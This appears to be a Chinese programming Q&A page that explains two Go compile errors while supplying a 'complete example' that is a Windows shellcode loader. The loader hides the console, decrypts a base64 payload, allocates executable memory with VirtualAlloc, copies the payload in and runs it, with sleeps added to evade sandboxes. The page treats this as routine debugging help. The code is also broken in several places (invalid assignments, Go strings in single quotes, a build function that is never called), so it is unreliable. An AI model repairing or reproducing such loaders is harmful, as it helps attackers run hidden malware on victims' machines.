Go 编译错误: ".temp.go:20:13: assignment mismatch: 2 variables but 1 value" 和 ".temp.go:34:2: undefined: ddm"
在 main 函数中,ddm 变量未定义就直接赋值,需要先声明再赋值,例如:
var ddm string
ddm = util.D(buf, key, nonce)
完整代码示例:
package main
import (
'encoding/base64'
'syscall'
'math/rand'
'time'
'unsafe'
'gld/util'
'github.com/lxn/win'
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
VirtualAlloc = kernel32.NewProc("VirtualAlloc")
RtlMoveMemory = kernel32.NewProc("RtlMoveMemory")
)
func build(ddm string) {
sDec, _ := ddm
time.Sleep(5)
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40)
time.Sleep(5)
_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec)))
time.Sleep(time.Millisecond * time.Duration(rand.Intn(500)+1000))
syscall.Syscall(addr, 0, 0, 0, 0)
}
func main() {
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
key, _ := base64.StdEncoding.DecodeString('PJOq7ypDIx5ZGs6ANcZ5mchGlHSCu4eCxEbYNP0sOx4=')
nonce, _ := base64.StdEncoding.DecodeString('Ua2tOzQvMlmOfodS')
buf, _ := base64.StdEncoding.DecodeString('k2')
var ddm string
ddm = util.D(buf, key, nonce)
}
错误原因解析:
-
"assignment mismatch: 2 variables but 1 value" 错误表示在赋值语句中,左侧期望有两个变量接收值,而右侧只提供了一个值。这通常发生在多重赋值语句中,例如
a, b = c,如果c只有一个值,就会出现此错误。 -
"undefined: ddm" 错误表示在代码中使用
ddm变量时,它尚未被定义。这意味着你需要在使用ddm之前,先声明它并赋予初始值。
解决方法:
-
在使用变量之前,先用
var关键字声明变量并赋予初始值。 -
仔细检查赋值语句,确保左侧变量数量与右侧值的数量相匹配。
-
确保在使用变量之前,它已经被正确地定义和初始化。
原文地址: https://www.cveoy.top/t/topic/lUZK 著作权归作者所有。请勿转载和采集!